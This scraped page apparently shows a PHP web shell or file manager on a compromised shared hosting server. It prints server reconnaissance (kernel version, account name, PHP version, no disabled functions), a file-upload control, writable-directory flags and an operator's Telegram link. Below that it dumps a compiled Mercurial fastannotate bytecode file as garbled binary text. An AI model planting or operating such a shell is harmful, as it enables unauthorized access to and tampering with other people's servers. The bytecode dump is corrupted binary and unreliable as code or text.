https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/hgext/fastannotate/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/hgext/fastannotate/__pycache__/protocol.cpython-310.pyc
o

�]Lb��@s�ddlmZddlZddlZddlmZddlmZddlm	Z	m
Z
mZmZm
Z
mZmZddlmZddlmZd	d
�Zdd�Zd
d�Zdd�Zdd�Zdd�Zdd�Zejdd��Zd!dd�Zdd�Zdd�Zdd �Z dS)"�)�absolute_importN)�_)�open)�error�
extensions�hg�pycompat�util�wireprotov1peer�wireprotov1server)�urlutil�)�contextcCs"|�dd�}|st�td���|S)z)get the mainbranch, and enforce it is set�fastannotates
mainbranchsFfastannotate.mainbranch is required for both the client and the server)�configr�Abortr)�ui�master�r�=/usr/lib/python3/dist-packages/hgext/fastannotate/protocol.py�
_getmasters��rcCs|||�}|�d�|S)N�getannotate)�append)�orig�repo�proto�resultrrr�
_capabilities/s

rc
Csld}|j�ddd�}t�||���}|rUt|j�}z7z
|�|�s%|�||�Wn#tyI|��z|�||�Wn
tyF|��YnwYnwW|�	�n|�	�w|j
|kr�|j|jfD]C}t
j�|�siq`t|d��}	|	��}
Wd�n1s}wYt|jjd�}||d�}|d|t|
�|
f7}q`Wd�|SWd�|S1s�wY|S)N�rsserverbuildondemandTsrb�/s%s%d%s)r�
configboolr�annotatecontextr�
isuptodate�annotate�	Exception�rebuild�close�lastnode�
revmappath�linelogpath�os�path�existsr�read�len�vfs�base)
rrr+r'r�
buildondemand�actxr�p�f�content�
vfsbaselen�relpathrrr�_getannotate5sP�

�����

��
� �
� � r8cCs"dtjvrdSt�dd�t�dS)Nrs
path lastnode)r�commands�wireprotocommandr8rrrr�_registerwireprotocommand`s


�r;cCst�t�tdt�dS)Ns
_capabilities)r;r�wrapfunctionrr�rrrr�
serveruisetuphsr>cCs�i}d}t|�d}d}d}}||kra|||d�}|dkrH|dkrA||d|dt|��||<|t|�7}d}d}}n|dkrGd}n|dkrQ||7}n|dkrY||7}|d7}||ks|S)Nrr
r�)r.�int)�payloadr�i�l�state�vfspath�size�chrrr�_parseresponseps. 
�
�rHcs G�fdd�d|j�}||_dS)Ncs eZdZejd�fdd�	�ZdS)z#peersetup.<locals>.fastannotatepeerNcs2|�d�s��td��dS||pdd�}|tfS)Nrs*remote peer cannot provide annotate cache
�NNr�spathslastnode)�capable�warnrrH)�selfr+r'�argsr=rr�getannotate�s

z/peersetup.<locals>.fastannotatepeer.getannotate�N)�__name__�
__module__�__qualname__r
�	batchablerOrr=rr�fastannotatepeer�srU��	__class__)r�peerrUrr=r�	peersetup�s

rYccs\�|j}|�ddd�}t�d|||�}|d}t�|i|�}z
|VW|��dS|��w)Nrs
remotepathsdefaultr)rrr�get_unique_pull_pathrrXr&)rr�
remotedest�r�
remotepathrXrrr�annotatepeer�s�r^c
Cs�|sdS|dur#t|��}t||||�Wd�S1swY|dur)i}|j}g}|����}|�dt|��|D]}|�|�d||�|�d���q>|D]a}|�	�}	dd�t
�|	�D�}	t|	�D]L}
|
�
d�rsd|
d	vr{|�d
|
�qf|	|
}|jr�|�dt|�|
f�|j�tj�|
��|�|
d��
}|�|�Wd�n1s�wYqfqRWd�dS1s�wYdS)
z1download annotate cache from the server for pathsNs"fastannotate: requesting %d files
rrJcSsi|]
\}}t�|�|�qSr)r	�pconvert)�.0r3�vrrr�
<dictcomp>�szclientfetch.<locals>.<dictcomp>s
fastannotate/s/../rs(fastannotate: ignored malicious path %s
s%fastannotate: writing %d bytes to %s
swb)r^�clientfetchr�commandexecutor�debugr.r�callcommand�getrr�	iteritems�sorted�
startswith�	debugflagr/�makedirsr*r+�dirname�write)
r�paths�lastnodemaprXr�results�batcherr3rr\r+r5r4rrrrc�sZ
 �
����
������"�rcc	Csj|j�ddd�}|dkr|Sg}|D] }zt|�|��|kr#|�|�Wqty2|�|�Yqw|S)z�return a subset of paths whose history is long and need to fetch linelog
    from the server. works with remotefilelog and non-remotefilelog repos.
    rsclientfetchthreshold�
r)r�	configintr.�filerr$)rro�	thresholdrr+rrr�_filterfetchpaths�s
��rwcCsGdd�d|j�}||_dS)Nc@seZdZddd�ZdS)z(localreposetup.<locals>.fastannotaterepoNc	
Ss�t|j�}g}i}z>t||�D])}t�||��}|j|dd�s)|�|�|j||<Wd�n1s3wYq|rEt||||�WdSWdSt	yb}z|j�
d|�WYd}~dSd}~ww)NF)�stricts"fastannotate: prefetch failed: %r
)rrrwrr!r"rr'rcr$re)	rMrorXr�needupdatepathsrpr+r2�exrrr�prefetchfastannotate�s&


������z=localreposetup.<locals>.fastannotaterepo.prefetchfastannotaterP)rQrRrSr{rrrr�fastannotaterepo�sr|rV)rrr|rrr�localreposetup�s
r}cCs6t�|��rt||�ttjvrtj�t�dSdSrP)r;�localr}rYr�wirepeersetupfuncsr)rrrrr�clientreposetup�s

�r�rI)!�
__future__r�
contextlibr*�mercurial.i18nr�mercurial.pycompatr�	mercurialrrrrr	r
r�mercurial.utilsr�rrrr8r;r>rHrY�contextmanagerr^rcrwr}r�rrrr�<module>s*$	+

0

https://t.me/RX1948 - 2025